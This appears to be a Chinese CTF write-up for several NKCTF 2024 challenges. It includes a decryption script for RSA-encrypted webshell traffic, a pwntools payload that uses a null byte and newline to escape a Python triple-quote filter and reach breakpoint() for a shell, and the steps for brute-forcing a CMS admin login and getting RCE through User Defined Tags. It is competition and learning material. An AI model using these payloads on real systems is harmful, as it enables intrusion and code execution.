Webshell_pro

在流量包中提取到加密脚本,再编写解密脚本

import base64
from Crypto.Util.number import long_to_bytes
import libnum
from Crypto.PublicKey import RSA
import urllib.parse
pubkey = """-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCK/qv5P8ixWjoFI2rzF62tm6sDFnRsKsGhVSCuxQIxuehMWQLmv6TPxyTQPefIKufzfUFaca/YHkIVIC19ohmE5X738TtxGbOgiGef4bvd9sU6M42k8vMlCPJp1woDFDOFoBQpr4YzH4ZTR6Ps+HP8VEIJMG5uiLQOLxdKdxi41QIDAQAB
-----END PUBLIC KEY-----
"""

prikey = """-----BEGIN PRIVATE KEY-----
MIICdgIBADANBgkqhkiG9w0BAQEFAASCAmAwggJcAgEAAoGBAIr+q/k/yLFaOgUjavMXra2bqwMWdGwqwaFVIK7FAjG56ExZAua/pM/HJNA958gq5/N9QVpxr9geQhUgLX2iGYTlfvfxO3EZs6CIZ5/hu932xTozjaTy8yUI8mnXCgMUM4WgFCmvhjMfhlNHo+z4c/xUQgkwbm6ItA4vF0p3GLjVAgMBAAECgYBDsqawT5DAUOHRft6oZ+//jsJMTrOFu41ztrKkbPAUqCesh+4R1WXAjY4wnvY1WDCBN5CNLLIo4RPuli2R81HZ4OpZuiHv81sNMccauhrJrioDdbxhxbM7/jQ6M9YajwdNisL5zClXCOs1/y01+9vDiMDk0kX8hiIYlpPKDwjqQQJBAL6Y0fuoJng57GGhdwvN2c656tLDPj9GRi0sfeeMqavRTMz6/qea1LdAuzDhRoS2Wb8ArhOkYns0GMazzc1q428CQQC6sM9OiVR4EV/ewGnBnF+0p3alcYr//Gp1wZ6fKIrFJQpbHTzf27AhKgOJ1qB6A7P/mQS6JvYDPsgrVkPLRnX7AkEAr/xpfyXfB4nsUqWFR3f2UiRmx98RfdlEePeo9YFzNTvX3zkuo9GZ8e8qKNMJiwbYzT0yft59NGeBLQ/eynqUrwJAE6Nxy0Mq/Y5mVVpMRa+babeMBY9SHeeBk22QsBFlt6NT2Y3Tz4CeoH547NEFBJDLKIICO0rJ6kF6cQScERASbQJAZy088sVY6DJtGRLPuysv3NiyfEvikmczCEkDPex4shvFLddwNUlmhzml5pscIie44mBOJ0uX37y+co3q6UoRQg==
-----END PRIVATE KEY-----
"""

pubkey = RSA.import_key(pubkey)
prikey = RSA.import_key(prikey)
n = pubkey.n

def enc_replace(base64_str: str):
    base64_str = base64_str.replace("/", "e5Lg^FM5EQYe5!yF&62%V$UG*B*RfQeM")
    base64_str = base64_str.replace("+", "n6&B8G6nE@2tt4UR6h3QBt*5&C&pVu8W")
    return base64_str.replace("=", "JXWUDuLUgwRLKD9fD6&VY2aFeE&r@Ff2")
def dec_replace(base64_str):
    base64_str = base64_str.replace("e5Lg^FM5EQYe5!yF&62%V$UG*B*RfQeM","/")
    base64_str = base64_str.replace("n6&B8G6nE@2tt4UR6h3QBt*5&C&pVu8W","+")
    return base64_str.replace("JXWUDuLUgwRLKD9fD6&VY2aFeE&r@Ff2","=")
    
def encrypt(plain_text):
    # 私钥加密
    cipher_text = b""
    for i in range(0, len(plain_text), 128):
        part = plain_text[i:i+128]
        enc = libnum.n2s(pow(libnum.s2n(part), prikey.d, n))
        cipher_text += enc
    return enc_replace(base64.b64encode(cipher_text).decode())
def decrypt(plain_rsa):
    base64_enc = dec_replace(plain_rsa)
    cipher_text= b""
    cipher_text = base64.b64decode(base64_enc)
    for i in range(0,len(cipher_text),128):
        part=cipher_text[i:i+128]
        dec = libnum.n2s(pow(libnum.s2n(part),prikey.e,n))
        return dec
if __name__ == '__main__':
    #m = b"-RSA-" * 30
    #print(f"原始数据: {m}")
    while(True):
        c = input("数据")
        #print(f"加密数据: {c}")
        c=urllib.parse.unquote(c)
        f = decrypt(c)
        print(f"解密数据: {f}")

发现加密的flag

U2FsdGVkX1+SslS2BbHfe3c4/t/KxLaM6ZFlOdbtfMHnG8lepnhMnde40tNOYjSvoErLzy0csL7c5d4TlMntBQ==

根据小明的日记.txt的提示发现是pbe加密,密码为Password-based-encryption

解密可得flag

world.execute.me

先分析workflows

发现只要
创建issue

Question:121212afaf
echo $HEART

即可获得

ex1t


这题考察的是python 绕过’’’过滤python 处理字符串的过程是先用 line-delimiter 分开 然后每行再视为一个 C nullterminated string 进行处理
所以 字符会影响这一过程 所以我们只需要将’’’中的一个’替换为’\x00\n 即可

一开始没看懂,gpt解释

这段话是在描述 Python 如何处理字符串,尤其是处理多行字符串或者涉及到特殊字符的字符串。

Python 在处理字符串时,会先用 line-delimiter(通常是换行符 `\n`)将字符串分割成多行。然后,每一行都会被视为一个 C null-terminated string 进行处理。C null-terminated string 是 C 语言中的一种字符串表示方式,其中字符串的结束被一个空字符(`\0`)标记。

这里的 "字符会影响这一过程" 可能是指,如果字符串中存在某些特殊字符,例如换行符或者空字符,它们会影响 Python 如何将字符串分割成多行以及如何处理每一行。

"我们只需要将'''中的一个'替换为'\x00\n 即可" 这句话是指,如果你有一个多行字符串(在 Python 中,多行字符串可以用三个单引号 `'''` 或者三个双引号 `"""` 来表示),并且你想在某处插入一个空字符和一个换行符,你可以将其中的一个单引号替换为 `\x00\n`。这样,Python 在处理这个字符串时,会在那个位置将字符串分割成两行,并且在第一行的末尾插入一个空字符。

这种操作可能会在某些特殊的编程场景中使用,例如在进行某种特殊的字符串操作或者处理某种特殊的输入/输出格式时。

这里考察了\0是作为python字符串的末尾,于c相似。在替换的时候\0会影响正常替换,而写进文件后\0又会被忽略

playload

from pwn import *
conn = remote('node.nkctf.yuzhian.com.cn', 31303)
context.log_level="debug"
#io = process(['python3',"server.py"])
conn.recvuntil("> ")
payload =  b"''\x00\n';breakpoint()\n''\x00\n'\n--NKCTF2024\n\n"
conn.send(payload)
conn.interactive()

breakpoint()

用于在python代码中打点,有了他就可以在命令行中输python代码从而得到shell

My First CMS

后台

/admin/login.php
bp爆破密码
Extensions > User Defined Tags存在rce

system("ls");可执行代码


一个好奇的人